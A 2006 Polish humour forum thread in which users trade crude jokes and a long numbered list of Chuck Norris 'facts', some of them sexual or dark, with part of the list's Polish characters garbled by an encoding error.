muszę to przemyśleć...ale chyba nie mogłabym tak batem zwierzątka... :bicz:

Te_Pe - 11-01-2006, 09:49

Obok siebie w autobusie stoją dwie osoby:
Ona i On. Ona spojrzała na niego, on na nią.

- Informatyk - pomyślała studentka
- Studentka - pomyślał bezdomny...

Tomek Radomski - 11-01-2006, 09:51

Jakim batem ?? Ja go prośbą, przekupstwem i obiecywaniem złotych gór, a toto spokojne maleństwo i tak rozwija się do do huraganu o sile przynajmniej Katariny ;-)
Anja - 11-01-2006, 10:13

jakim przekupstwem, jakimi obiecaniami??
jak coś nie działa, to tego nie rób
a jak coś działą, to rób tego wiecej

zaskocz go zmianą zachowania i konsekwencją- u mnie działa :)

Tomek Radomski - 11-01-2006, 15:57

Jesssssssssssssssssuuuuuuuuuuuuuu, chyba oddam Ci go na wychowanie ;-)
Anja - 11-01-2006, 16:28

heheheheheehehe, ale by było......
tsharny - 12-01-2006, 11:22

skoro jesteśmy przy dzieciach i szkole:

Nauczyciel wchodzi do klasy Jasia, a tu na tablicy wypisane słowa
ogólnie znane jako nieprzyzwoite : piz.a, ch.j, ku..a...
Przyjrzał się tablicy, pokiwał głową... cmoknął z dezaprobatą i mówi:
- Moi drodzy jesteście zbyt młodzi żeby używać takiego podwórkowego
języka poza tym takich słów kulturalni ludzie w ogóle nie powinni używać...
nie będę wnikał w to, kto z Was to napisał. Mam więc taką propozycję.
Na mój znak wszyscy zamykamy oczy a ja będę głośno liczył do 50-ciu. W
tym czasie niech "sprawca" dokładnie wytrze tablicę i postaramy się
zapomnieć o tym incydencie... OK? No to UWAGA! RAZ... DWA... TRZY...
Nauczyciel doliczył do 50-ciu... wszyscy oczy pootwierali... a tu nadal
brzydkie wyrazy, a na dole dopisek:
- SPIER..AJ GOŚCIU! FANTOM UDERZA PONOWNIE!!!!

pomuchel - 12-01-2006, 11:35

>Wigilijny poranek. Żona budzi Stefana o 7.00.> - Stefan, no Stefan, nie mam masła. Słyszysz?> - A co ja na to poradzę.> - Ubieraj się i idź do sklepu.> - Ale ja nie wiem gdzie jest w sklepie masło.> - Wejdziesz, naprzeciwko kasy są lodówki, w pierwszej jest> mleko,> a w drugiej masło, idź.> Stefan wstał, ubrał się poszedł do sklepu. Przeszedł obok kas,> podszedł do lodówki, wyjął masło i poszedł zapłacić.> Na kasie stała zajebista laseczka. Stefan trochę z nią pogadał,> pożartował, a laska niespodziewanie zaproponowała aby poszli> do niej. Poszli i troszkę pofiglowali.> Po upojnym popołudniu Stefan budzi się i widzi że jest> przed 20.00.> Wyskakuje z łóżka i mówi do laski> - Masz mąkę?> - Mam.> - To przynieś szybko i posyp mi ręce.> Laska zdziwiona przynosi mąkę i posypuje ręce Stefana po czym> on wybiega.> W domu Stefanowi drzwi otwiera żona.> - Stefan gdzieś ty był, rodzina się zjechała, zjedliśmy> kolację bez masła. - Gdzie byłeś?> - Skarbie, jestem ci winny wyjaśnienie. Otóż poszedłem do> sklepu, z lodówki wyjąłem masło i poszedłem zapłacić. Na> kasie stała> zajebista laseczka, trochę z nią pogadałem, pożartowałem,> a ona mnie> zaprosiła do siebie a u niej trochę pofiglowaliśmy. Obudziłem> się i> szybko przyjechałem do domu.> Żona wysłuchała wszystkiego spokojnie i ze zniecierpliwieniem w> głosie powiedziała:> - Pokaż ręce.> Stefan pokazał obsypane w mące ręce, na co żona:> -a fee, Stefan, znowu byłeś na kręglach.
agrest - 12-01-2006, 16:18

http://bash.org.pl/top
>> tata???

:mrgreen: :mrgreen: :mrgreen:

Efraim Ryba - 13-01-2006, 12:28

Bieda na forum... Kawały i linki się powtarzają :cry:
snoop - 13-01-2006, 13:07

Pyta się szef pracownika:
- Masz wolny czas?
- Tak.
- Oj niedobrze, niedobrze.

--------

Jeśli rano kobieta wysyła cię po wódkę, znaczy to, że nie obudziłeś się w swoim domu.

--------

Budziki dzielimy na:
- mechaniczne
- elektroniczne
- kwarcowe
- moczopędne

--------

No i malutki obrazek


Efraim Ryba - 13-01-2006, 15:29

są też madre blondynki

Przychodzi blondynka do banku i mowi, ze wylatuje na wakacje za granice i
prosi o kredyt w wysokosci 3000 PLN na 2 tygodnie.
Urzednik prosi ja o przedstawienie jakiegos zabezpieczenia pod pozyczke.
Blondi wyjmuje kluczyki od Jaguara stojacego przed bankiem. Po
sprawdzeniu
wszystkiego, bank zgadza sie na przyjecie samochodu pod zastaw. Pracownik
banku odbiera kluczyki i odprowadza samochod do podziemnego garazu w
banku.
Po 2 tygodniach blondynka oddaje dlug w wysokosci 3000 PLN i odsetki
22,50
PLN. Urzednik bankowy mowi:
-"Cieszymy sie z udanego interesu i mamy nadzieje, ze wakacje sie udaly.
Jednakze w czasie Pani nieobecnosci sprawdzilismy, ze jest Pani
multimilionerka. Zastanawia nas, po co zawracala Pani sobie glowe poyczka
na
3000 PLN ?"
Blondi odpowiada:
-"A gdzie do diabla w Warszawie znalazlabym parking strzezony dla Jaguara
na
2 tygodnie za 22,50 zlotych?"


Oraz
Ogłoszenie w gazecie
Sprzedam encyklopedie Britanica. 40 tomów. Stan bardzo dobry.
Nie będzie mi już potrzebna. Ożeniłem się tydzień temu.
Żona wie, kur.., wszystko najlepiej.

rasaam - 13-01-2006, 19:38

Czasem, kiedy jesteś smutny, nikt nie widzi twojego strapienia..
Czasem, kiedy płaczesz, nikt nie widzi twoich łez...
Czasem, kiedy jesteś szęśliwy, nikt nie widzi twojego uśmiechu...
Czasem, kiedy się śmiejesz, nikt nie widzi twojej radości...
Ale weź tylko pierdnij....

DarekS - 14-01-2006, 19:33

Ty decydujesz co śpiewać!

Wykaz pieśni jakie należy śpiewać jadąc samochodem, gdy rozwija się następujące prędkości:

80 km/godz. - Pobłogosław Jezu drogi
90 km/godz. - To szczęśliwy dzień...
100 km/godz. - Cóż Ci Jezu damy...
110 km/godz. - Ojcze, Ty kochasz mnie...
120 km/godz. - Liczę na Ciebie Ojcze...
130 km/godz. - Panie przebacz nam...
140 km/godz. - Zbliżam się w pokorze...
150 km/godz. - Być bliżej Ciebie chce...
160 km/godz. - Pan Jezus już się zbliża...
170 km/godz. - U drzwi Twoich stoję Panie...
180 km/godz. - Jezus jest tu...
200 km/godz. - Witam Cię Ojcze...
220 km/godz. - Anielski orszak niech Twą duszę przyjmie...

Uwaga!
Św. Krzysztof jeździ z Tobą do 120 km/godz. Przy większych prędkościach swoje miejsce oddaje Św. Piotrowi!

tsharny - 16-01-2006, 15:41

z cyklu: bezsensownych kawałów ciąg dalszy :-D

W pewnej wiosce mieszkał sobie gospodarz, który miał kurnik. Co noc do
tego kurnika przychodził sprytny lisek i pożerał jedną kurę, albo koguta -
zależy na co mial chrapkę. I tak to trwało miesiącami, aż pewnego dnia
gospodarz schwytał liska i zapytał:
-Czy to ty wyjadasz stopniowo mój drób?
Na co sprytny lisek odpowiedział:
-Nie!
A tak na prawdę, to był on.

MIDZIK - 17-01-2006, 09:46

Żonaty facet przyszedł do spowiedzi.
- Mam romans z pewną kobietą-mówi.
- A coś bliżej?- zaciekawia się ksiądz.
- No, spotykamy się, ale tylko ocieramy się o siebie, jeszcze nigdy nie było penetracji!
- Tarcie to jest to samo co włożenie! Odmówisz 5 zdrowasiek zdrowasiek dasz na ofiarę 100 zł.
Gość odmówił modlitwę i kieruje się do wyjścia, a ksiądz cały czas go obserwuje. Wybiega z konfesjonału i krzyczy:
- Widziałem! – Nie wsadził pan 100 zł. na ofiarę!
- Ale potarłem stówką o puszkę. Sam ksiądz mówił, że tarcie, to to samo co włożenie!

Anja - 17-01-2006, 14:02

Rodzaje upojenia alkoholowego
1. Na Kopciuszka - przyjść do domu w jednym bucie
2. na Królewnę Śnieżkę - obudzić się w łóżku z siedmioma facetami
3. na Czerwonego Kapturka - obudzić się w łóżku babci
4. na Śpiącą Królewnę - przez 100 lat niczego nie pamiętasz
5. na Myszkę Miki - opuchnięte uszy, białe rękawiczki, ale nie masz fraka
6. na Krzysztofa Kolumba - nie wiesz gdzie jedziesz, jak już przyjedziesz to nie wiesz gdzie jesteś a za przejazd i tak płaci państwo.
7. Na Reksia - obudziłeś siłę w budzie dla psa
8. na Władcę pierścieni - dobudziłeś silę na komisariacie w kajdankach
9. na Ogniem i mieczem - obudziłeś się w kotłowni na koksie
10. na W pustyni i w puszczy - obudziłeś się w parku miejskim na grządce z różami
11. Na Rejtana - obudziłeś się przed własnymi drzwiami z rozdarta koszula
12. na Wakacje z duchami - obudziłeś się na strychu zawinięty w prześcieradło

I pamiętaj - nie jesteś naprawdę pijany jeżeli jesteś w stanie leżeć na podłodze bez trzymania!!!

No Panowie! I Panie oczywiście
Czas na ankietę :lol:

duch - 17-01-2006, 18:22

No czas na duchy, dawno mnie nie było więc czas coś przytekścić.

Pewien gość, wielki fanatyk boksu w dniu transmisji z walki o mistrzostwo świata w wadze ciężkiej, wybiega na godzinę przed walką z pracy. Zachacza jeszcze o market gdzie kupuje 4 butelki piwa, chleb, wędlinę, jakąś zieleninę.
Do walki 40 minut.
Pędzi do domu, otwiera drzwi.
Do meczu 15 minut.
Wbiega do kuchni - piwko do zamrażalnika, szybciutko kroi chlebek i szykuje pyszne kanapeczki.
Do transmisji 3 minuty.
Wyjmuje jedno piwko otwiera, kanapki na talerzyku idzie do pokoju .
1 minuta,
Uff siada przed telewizorem, akurat rozpoczyna się walka. Facet trzyma otwartą butelkę w lewej ręce prawą podnosi kanapeczke do ust .....
Gong.... pierwsza runda.. pierwszy cios......i nokaut.
Gość zamiera nieruchomo trzymając piwo i kanapkę, nie może nic powiedzieć......tylko mruga z niedowierzaniem oczami.Odwraca głowę a w drzwiach stoi jego żona oparta o framugę. Patrzy się na niego i pyta :
- No co ? Teraz wiesz jak ja się czuję co noc ?
------------------------------------------------------------------------
Pod nieobecność męża żonka zabawia się z wibratorem. Nagle słyszy dzwonek do drzwi. Otwiera je, chowając sprzęt w ręce za plecami. W drzwiach widzi nieszczęśliwego, załamanego męża ze łzami w oczach..
- Kochanie, co się stało? Dlaczego wracasz tak wcześnie z pracy... i dlaczego płaczesz?
- Wylali mnie, po tylu latach.. a na moje miejsce kupili... MASZYNĘ!
-------------------------------------------------------------------------

Do gabinetu lekarza wchodzi panienka
- Proszę się rozebrać - rzuca lekarz
- Ale ja przyszłam bo mnie boli ucho...
- A to nie tu. Ja jestem okulista.

--------------------------------------------------------------------------
- Jaki ładny piesek, jak się wabi?
- Internetowiec!
- ???
- Internetowiec, daj głos!
- rotfl, rotfl, rotfl

--------------------------------------------------------------------------
Wsadzili dziadka do więzienia. Dziadzio wchodzi do celi pełnej strasznych zakapiorów:
- Za co cię posadzili dziadygo?
- Za figle.
- Za jakie figle?! Co ty będziesz kit wciskał, gadaj zgredzie za co, bo po tobie!
- To ja to mogę pokazać - mówi dziadzio.
- Ta? No to pokaż! - mówi zaintrygowany herszt celi.
Dziadzio przeżegnawszy się bierze wiadro służące w celi za ubikację i puka w drzwi. Kiedy uchylił się judasz, dziadzio chlust zawartością wiadra przez judasz, odstawił wiadro na miejsce i stanął obok drzwi na baczność.
Po chwili drzwi się otwierają, staje w nich gromada wkurzonych klawiszy, w tym jeden wysmarowany kałem, i mówią:
- Dziadek, ty się odsuń na bok, żeby ci się przypadkiem nie oberwało.
--------------------------------------------------------------------------

Pozdr :dj: Duch

I - 17-01-2006, 20:01

Dwa paczki spotykaja sie w oszklonej gablocie w cukierni.
- Czesc, dawno ciebie nie widzialem. Co porabiales przez ten caly czas?
- Eee, wiesz w zasadzie nic. Caly czas tu leze i czerstwieje. Ludzie nawet na mnie juz nie patrza. A co u ciebie slychac?
- Ja bylem na egzaminach na Uniwersytecie.
- Na jaki wydzial?
- Na matematyke?
- Ooo... i co trudne byly egzaminy?
- Nie, w zasadzie nie bardzo?
- Znales odpowiedzi, umiales rozwiazac wszystkie zadania?
- No, tak...
- Naprawde nie miales zadnych problemow z matematyka na takim poziomie?
- Nie, w zasadzie nie...
- Jak ci tam poszlo?
- W zasadzie dobrze?
- I co, i co... Przyjeli ciebie?
- Co ty, paczka?...

IRA - 18-01-2006, 13:22

ĹĽ Wszystko o Chuck'u i jego magicznym kopniaku z półobrotu
1. Łzy Chucka Norrisa leczš raka. Ale jest tak hardkorowy, że nigdy nie zapłakał.

2. Chuck Norris nie ?pi. Czeka.

3. Chuck Norris zaskarżył NBC o to, że nazwa Prawo i Porzšdek sš zastrzeżonymi nazwami jego lewej i prawej nogi.

4. Głównym towarem eksportowym Chucka Norrisa jest ból.

5. Je?li widzisz Chucka Norrisa, on ciebie też widzi. Je?li nie widzisz Chucka Norrisa, możesz być kilka sekund od ?mierci.

6. Chuck Norris doliczył do nieskończono?ci. Dwa razy.

7. Chuck Norris nie idzie polować, bo w polowaniu istnieje prawdopodobieństwo porażki. Chuck Norris idzie zabijać.

8. Chuck Norris jest w 1/8 Indianinem. Nie ma to nic wspólnego z jego przodkami, zjadł po prostu jednego.

9. Drobnym druczkiem na ostatniej stronie Ksišżki Rekordów Guinnessa jest napisane, że wszystkie rekordy należÂš do Chucka Norrisa, w reszcie ksišżki sš wymienieni ci, którzy się najbardziej zbliżyli.

10. Za zarostem Chucka Norrisa nie ma brody. Jest kolejna pię?ć.

11. Kiedy? Chuck Norris kopnšł kogo? z półobrotu tak mocno, że jego stopa nabrała prędko?ci ?wiatła, cofnęła się w czasie i zabiła Amelie Earhart, gdy leciała nad Pacyfikiem.

12. Kręgi w zbożu to sposób Chucka Norrisa, aby powiedzieć ?wiatu, że czasami kukurydza musi się do cholery położyć.

13. Chuck Norris ma 4 metry wzrostu, waży dwie tony, zieje ogniem, może zje?ć młotek i przyjšć strzał z shotguna bez upadania.

14. Wielki Mur Chiński powstał, by powstrzymać Chucka Norrisa. Nie udało mu się.

15. Gdy spytasz Chucka Norrisa, która jest godzina, zawsze odpowie: ? Dwie sekundy do?. Gdy się spytasz ? Dwie sekundy, do czego?? kopnie cię z półobrotu w twarz.

16. Chuck Norris je?dzi lodziarkš pokrytš ludzkimi czaszkami.

17. Chuck Norris sprzedał duszę diabłu za cudowny wyglšd i doskonałe umiejętno?ci w walce wręcz. Chwilę po transakcji Chuck kopnšł diabła w twarz z półobrotu i zabrał z powrotem swoja duszę. Diabeł, który zauważył ironię, nie mógł się gniewać i przyznał, że mógł to przewidzieć. Od tamtej pory grajš, co pištek w pokera.

18. Nie ma teorii ewolucji, jest lista stworzeń, którym Chuck Norris pozwala żyć.

19. Chuck Norris kiedy? zjadł trzy o?miokilowe steki w godzinę. Pierwsze 45 minut spędził uprawiajšc sex z kelnerkš.

20. Chuck Norris jest jedynš osobš, która pokonała ?ciankę w tenisa.

21. Chuck Norris nie ubija masła. Kopie krowy z półobrotu a masło samo wychodzi.

22. Gdy Chuck Norris wysyła PIT?y , wysyła puste formularze i swoje zdjęcie. Chuck Norris nigdy nie musiał płacić podatków.

23. Najkrótsza droga do serca mężczyzny jest przez pię?ć Chucka Norrisa.

24. Znak miejsca dla inwalidów nie oznacza miejsca, gdzie mogš zaparkować inwalidzi. Oznacza miejsca, które należÂš do Chucka Norrisa i je?li na nich staniesz zostaniesz inwalidš.

25. Chuck Norris stanie się stanem w 2009.

26. Na Nagasaki nigdy nie spadła bomba. Chuck Norris wyskoczył z samolotu i walnšł ziemię.

27. Pierwsza scena w ?Szeregowcu Ryanie? jest rekonstrukcjš gier w zbijanego, w które Chuck Norris grał w drugiej klasie.

28. Kiedy? Chuck Norris zestrzelił niemiecki samolot swoim palcem, mówišc: ?Bang!?.

29. Chuck Norris założył się z NASA, że przetrwa wej?cie w atmosferę bez użycia skafandra. Dziewiętnastego Czerwca 1999 roku nagi Chuck Norris wszedł w ziemskš atmosferę, przeleciał nad 14 stanami osišgajšc temperaturę 3000 stopni. Upokorzona NASA publicznie o?wiadczyła, że był to meteoryt, nadal mu wiszš piwo.

30. Chuck Norris ma dwie prędko?ci: Chodzenie i Zabijanie.

31. Kto? kiedy? próbował powiedzieć Chuckowi Norrisowi, że kopniaki z półobrotu nie sš najlepszymi sposobami by kogo? kopnšć. Historycy uważajš to za największš pomyłkę w historii.

32. Chuck Norris nie ma przyrodzenia jak koń? konie majš przyrodzenie jak Chuck Norris

33. Chuck Norris może wypić galon mleka w 45 sekund.

34. Je?li powiesz ?Chuck Norris? w Mongolii, ludzie zacznš cię kopać z półobrotu w twarz w jego imieniu. Zaraz po ich kopach zostaniesz kopnięty w twarz z półobrotu przez samego Norrisa.

35. Czas nie czeka na nikogo. Chyba, że tym kim? jest Chuck Norris.

36. Jednostka militarna Chuck Norris nie znalazła się w Civilization 4, bo jeden Chuck Norris był w stanie pokonać wszystkie narody w cišgu jednej tury.

37. W statystycznym pokoju jest 1,242 obiektów, które mogš posłużyć, Chuckowi Norrisowi do zabicia ciebie, wliczajšc w to pokój.

38. Chuck Norris może dotknšć MC Hammera.

39. Chuck Norris nie czyta ksišżek. Gapi się na nie dopóki nie dowie się z nich tego, czego chce.

40. Kiedy? Chuck Norris zjadł cały tort zanim jego znajomi powiedzieli, że w ?rodku była stripteaserka.

41. Chuck Norris zawsze uprawia sex na pierwszej randce. Zawsze.

42. Samochody zostały wymy?lone by szybciej uciekać przed Chuckiem Norrisem. Chuck Norris wymy?lił wypadek samochodowy.

43. Jako nastolatek Chuck Norris zapłodnił każdš zakonnice w górach Toskani. Dziewięć miesięcy pó?niej na ?wiat przyszli Miami Dolphins, jedyna drużyna w historii footballu, która nigdy nie przegrała ani nie zremisowała.

44. Kiedy? Chuck Norris wyzwał Lanca Armstronga na konkurs, ?Kto ma więcej jšder??. Chuck Norris wygrał o 5.

45. Broda Chucka Norrisa zmienia dwutlenek węgla w tlen. Drzewa to przeżytek.

46. Chuck Norris nie opowiada kawałów. Po prostu mówi "teraz".

47. Ckuck Norris łowi ryby kaleczšc się i wskakujšc do basenu z rekinami.

48. Chuck Norris spał z 374 kobietami. Tylko 2 przeżyły by o tym opowiedzieć. Oczywi?cie był to najlepszy seks ich życia.

49. W Deklaracji Niepodległo?ci jest napisane: "Wszyscy ludzie sš sobie równi. Poza Chuckiem Norrisem, który jest równy 350000 ludzi".

50. Mali chłopcy lubiš przypalać mrówki za pomocš lupy. Chuck Norris lubi przypalać małych chłopców za pomocš mrówek. Naukowcy nie wiedzš jeszcze jak to możliwe.

51. Bóg będzie rzšdził ?wiatem tak długo jak Chuckowi nie znudzi się rzšdzić na ziemi.

52. Chuck Norris umarł 10 lat temu, ale kostucha nie ma odwagi mu o tym powiedzieć.

53. Każdy może naszczać na podłogę w toalecie, ale tylko Chuck umie nasrać na sufit.

54. Kiedy? niewidomy nastšpił przypadkiem Chuckowi na stopę. Chuck powiedział "Wiesz kim jestem? Jestem Chuck Norris". Niewidomy natychmiast ozdrowiał, ale pierwsza i jedyna rzecz, jakš dane mu było widzieć to kopnięcie z obrotu Chucka Norrisa.

55. Chuck ?pi z włÂšczonym ?wiatłem. Nie, dlatego, ze boi się ciemno?ci. To ciemno?ć boi się jego.

56. Chuck Norris zamówił Big Macka w Burger Kingu. I go dostał.

57. Żeby udowodnić, że rak to dla niego pestka, Chuck palił dziennie 15 paczek papierosów przez dwa lata i doczekał się 7 odmian raka tylko po to by pozbyć się ich podczas porannej rozgrzewki.

58. Chuck wymy?lił maszynę czasu i cofnšł się w przeszło?ć, żeby zapobiec zabójstwu Kennedy'ego. Kiedy Oswald strzelił, Chuck przyjšł trzy pociski na swojš brodę. Głowa JFK eksplodowała ze zdziwienia.

59. Chuck Norris był już na Marsie. To, dlatego nie ma tam oznak życia.

60. Kiedy? Chuck szedł ulicš majšc gigantyczna erekcję. Nikt nie przeżył.

61. Kiedy? Chuck oddaje krew odmawia użycia strzykawki. Prosi o pistolet i wiadro.

62. Pielęgniarka odbierajšca poród Chucka Norrisa widzšc go krzyknęła: "O mój Boże, to Chuck Norris". Potem uprawiali seks. Była to trzecia panienka, jakš Chuck zaliczył.

63. Chuck Norris potrafi trzasnšć drzwiami obrotowymi.

64. Doom oparty jest lu?no na prawdziwych wydarzeniach kiedy szatan pożyczył od Chucka 2 dolce i zapomniał oddać.

65. Chuck używa do gry w rosyjskš ruletkę w pełni naładowanego rewolweru. Zawsze wygrywa.

66. Chuck Norris potrafi dzielić przez zero.

67. Odwieczny, nierozwišzalny problem "co się stanie, je?li nieskończenie wielka wielka siła uderzy w nieskończenie mocny obiekt?" został rozwišzany przez Chucka Norrisa, kiedy uderzył się pię?ciš w twarz.

68. Chuck Norris potrafi podpalić mrówkę lupš. W nocy.

69. Chuck Norris przeszedł grę Super Mario Bros 3 nie dotykajšc nawet konsoli. Pomiędzy dwoma gryzami kanapki z filetem z dziecka spojrzał gro?nie na telewizor. Gra wygrała się sama ze strachu.

70. Ciemno?ć to nie brak ?wiatła. To obecno?ć Chucka Norrisa.

71. Je?li udało ci się wygrać w jakš? grę z Chuckiem Norrisem to oczywi?cie nie znałe? zasad.

72. Google nie znajdzie nic o Chucku Norrisie, bo wie, że i tak go nie znajdziesz. On znajdzie ciebie.

73. Ostatniš osobš, która potrafiła znie?ć spojrzenie Chucka Norrisa był Ray Charles.

74. Chuck Norris wpadł kiedy? do krateru pełnego lawy. Prawie utonšł.

75. Kto? kiedy? zasugerował, że prawdziwe imię Chucka Norrisa to Henry. 10 sekund pó?niej znaleziono go martwego. Popełnił samobójstwo uderzajšc się 384 razy młotkiem w głowę, duszšc własnymi sznurowadłami i odgryzajšc sobie obydwie nogi.

76.Chuck Norris nie ma HIV. Mimo to zaraza nim ludzi.

77. Chuck Norris wpadl kiedy? na pomysł sprzedawania swojego moczu jako napoju w puszkach. Obecnie jest on znany jako Red Bull.

78. Białe krwinki Chucka Norrisa maja czarne obwódki. To czarne pasy.

79. W jednej ze scen serialu Bajer w Bel-air (z Willem Smithem) Chuck Norris zastšpił Carltona. Nikt nie zauważył.

80. Chuck Norris był jednym z czterech króli, którzy przyniesli dary dla dziecištka Jezus. Darem Chucka Norrisa była broda. Pozostali królowie byli tak zazdro?ni, ze ocenzurowali tekst Biblii. Wkrótce potem zginęli zabici kopniakiem z półobrotu.

81. Chuck Norris może wywołać u kobiety orgazm wskazujšc na niš i mówišc "Heja"

82. Przed kręceniem każdego odcinka Strażnika Teksasu Chuck Norris wstrzykuje sobie potrójna ?miertelna dawkę ?rodków nasennych. To wszystko po to, aby ograniczyć ?miertelno?ć w?ród innych aktorów.

83. Kiedy Bruce Banner jest w?ciekły zmienia się w Hulka. Kiedy Hulk jest w?ciekły zmienia się w Chucka Norrisa.

84.Chuck Norris masturbuje się wyłÂšcznie przy własnych zdjęciach.

85. Chuck Norris używa żywej anakondy jako prezerwatywy.

86. Plemniki Chucka potrafiš pokonać 13 prezerwatyw, ?rodek plemnikobójczy, pigułkę antykoncepcyjnš i całÂš obronę amerykańskiej drużyny fubolowej żeby zapłodnić kobietę.

87. Wojownicze Żółwie Ninja powstały na podstawie prawdziwej historii. Kiedy? Chuck Norris połknšł żółwia w cało?ci i kiedy go wydalił, tamten miał półtora metra wzrostu i umiał karate.

88. Chuck Norris nie widzi koloru czerwonego. On go słyszy.

89. Każdy pojedynczy włos w brodzie Chucka ma swojš własnš brodę.

90. Chuck Norris wytępił dinozaury.

91. Kule unikaja Chucka Norrisa.

92. Chuck Norris regularnie oddaje krew w PCK. Ale nigdy swoja.

93. Będšc jeszcze w łonie matki Chuck odcišł pępowinę, bo "nie potrzebował niczyjej pomocy".

94. Chuck Norris stracił dziewictwo wcze?niej niż jego ojciec.

95. Nigdy nie pokonasz Chucka Norrisa, możesz tylko tak my?leć. A kiedy będziesz my?lał dostaniesz kopa z półobrotu.

96.Na ?wiecie sš dwa rodzaje ludzi: Chuck Norris i ci którzy umrš.

97. Chuck Norris wie gdzie jest Carmen San Diego. Kiedy? zapłodnił jš jednym szybkim ruchem i urodziła mu dziecko. Teraz znamy je jako Supermana.

98. Kiedy spytasz Chucka Norrisa która godzina zawsze odpowie: "dwie sekundy do". Kiedy spytasz "do czego" kopnie cię w twarz z półobrotu.

99. W sklepach przyjmujš pienišdze z "Monopolu" je?li płaci Chuck Norris.

100. Je?li jakiej? kobiecie udałoby się przeżyć stosunek z Chuckiem Norrisem to rodziłaby dzieci non-stop przez kolejne 13 lat .

101. Jonathan Brandis popełnił samobójstwo po tym jak Chuck Norris odmówił wystšpienia w Filmie Kumple 2.

102. Hitowy program stacji Fox "Man vs Beast" został zdjęty z anteny po tym jak Chuck Norris pokonał żyrafę w sprincie, nied?wiedzia w zapasach, delfina w pływaniu i skopał z półobrotu cała ekpię za to, że dali mu zbyt łatwe wyzwania.

103. Chuck Norris złamał sobie sam nogę. Tylko po to, żeby wygrać paraolimpiadę.

104. ?wiat był płaski dopóki nie dostał kopa z półobrotu od Chucka Norrisa.

105. Czasem czujesz się przygnębiony zupełnie bez powodu? To dlatego, że Chuck Norris akurat drzemie.

106. Chuck Norris nigdy się nie goli. Jedno gro?ne spojrzenie w lustro wstrzymuje proces wzrostu a każdy zbędny włosek ucieka w popłochu.

107. Chuck Norris ma zakaz mrugania do kobiet w wieku od 14 do 34 lat. Ostatni raz, kiedy to zrobił, podczas otwarcia koncertu New kiedy? on the block zakończył się masowš cišżÂš 16 437 kobiet na widowni. Ich dzieciom w wieku 5 lat urosły rude brody.

108. Kiedy? nied?wied? zaatakował Chucka Norrisa. Chuck pokazał mu swojš pię?ć, przez co nied?wied? zjadł się sam, wybierajšc łagodniejszš ?mierć.

109. Chuck Norris otworzył puszkę Pandory. Zajrzał do ?rodka, obejrzał zawarto?ć i zamknšł jš.

110. Sš dwa rodzaje ludzi na ?wiecie. Ci, którzy ssš i Chuck Norris

111. Chuck Norris potrafi podnie?ć krzesło, na którym siedzi.

112. Nintendo chciało zrobić grę z Chuckiem w roli głównej Niestety Chuck nie może umrzeć, więc gra byłaby za łatwa.

113. Chuck Norris waży tyle co milion Słońc. Według praw fizyki powinien się zapa?ć pod wpływem własnej masy, ale prawa fizyki obawiajš się, żeby kopniak z półobrotu nie przeniósł ich do innego wymiaru.

114. Dlaczego wszystko smakuje jak kurczak? Bo to ulubione żarcie Chucka Norrisa.

115. Chuck Norris zadziwił naukowców rozbijajšc kopem z półobrotu diament. Ich zdziwienie trwało ułamki sekund bo niesamowito?ć tego kopa doprowadziła do eksplozji ich mózgów.

116. CNN to był na poczštku skrót od "Chuck Norris Network" ale wspaniało?ć Chucka powodowała eksplozje satelit, urzšdzeń przeka?nikowych, kamer i oczu widzów.

117. Chuck Norris nigdy się nie chowa. On zawsze szuka.

118. Chuck Norris "wynalazł" lesbijki. Po tym jak poznały szczyt męsko?ci podczas stosunku z Chuckiem nie pozostało im nic innego jak zainteresować się kobietami.

119. Obcy robiš do?wiadczenia na ludziach. Chuck Norris robi do?wiadczenia na obcych.

120. Niestety zbyt trudny do okiełznania, kop z półobrotu Chucka generuje dostateczna ilo?ć energii by zasilić całe Zachodnie Wybrzeże w pršd przez 13 lat.

121. Kiedy? Chuck Norris spadł z góry Rushmore. W locie wymy?lił i zbudował samolot dzięki czemu udało mu się bezpiecznie wylšdować. Kilka lat pó?niej bracia Wright ukradli jego pomysł. Zginęli od kopniaka z półobrotu.

122. Ulubiony kolor Chucka Norrisa to ból.

123. Chuck Norris jest tak mšdry, że Stephen Hawking wstał żeby się przed nim ukłonić.

124. Chuck Norris wymy?lił dzieci, bo znudziło mu się cišgle to samo żarcie.

125. Gary Coleman liczył 2,16m wzrostu. Do czasu aż spotkał Chucka Norrisa...

126. Chuck Norris to pierwsza osoba, u której wykryto raka brody. Niewiele osób o tym wie, bo Chuck szybko pokonał chorobę za pomocš kilku kopów z obrotu.

127. Prawdziwa ?więta trójca to Broda Chucka Norrisa, Jego Prawa i Lewa Noga.

128. Chuck Norris "kopnšł" kiedy? z półobrotu faceta swoim penisem. Go?ć po dotknięciu członka zamienił się w posšg ze złota.

129. Chuck Norris zgoliłby brodę, ale nie ma na Ziemi do?ć twardego metalu na żyletkę.

130. Chuck Norris przebrał się za węza w raju i dal Ewie jabłko, po to żeby na ?wiecie było zło, z którym mógłby walczyć.

131. Je?li powiedzenie "Wyglšdasz tak jak jesz" to Chuck Norris jest niesamowitym połÂšczeniem opon monster-truckow, Godzilli i magmy z najaktywniejszych wulkanów.

132. Chuck Norris używa wybielacza do płukania jamy ustnej.

133. Chuck Norris postanowił puszkować i sprzedawać zapach swojego pierdnięcia, ponieważ żadna kobieta nie może się mu oprzeć. Ten produkt znany jest szerzej jako dezodorant Axe.

134. Chuck Norris wynalazł ?mierć żeby uczynić swoje życie bardziej ekscytujšcym.

135. Chuck Norris zapłodnił kiedy? Wielka Stopę. W rezultacie urodził się George W. Bush.

136. Wszyscy wiedza, ze w czasie wojny prezydent Roosvelt powiedział: "Jedynš rzeczš, której musimy się bać to sam strach". Niestety, nie wszyscy znajš pozostała cze?ć tej sentencji: "Na sczeszcie dla nas, Chuck Norris, który JEST strachem jest po naszej stronie, wiec nie musimy bać się niczego".

137. Je?li spróbujesz kopnšć Chucka Norrisa poniżej pasa, jego penis kopnie z półobrotu Twoja nogę.

138. Chuck Norris to nie rzeczownik, to czasownik.

139. Chuck Norris walczył na ?mierć i życie ze ?więtym Mikołajem. Bez sensu dodawać, ze każde dziecko dostało na gwiazdkę obci?le jeansy i parę skórzanych butów.

140. Kiedy Chuck Norris spoglšda w niebo, chmury pocš się ze strachu. Nazywamy to deszczem.

141. Film Rambo: Pierwsza Krew był oparty na wydarzeniach z obozu harcerskiego na którym był w dzieciństwie Chuck Norris

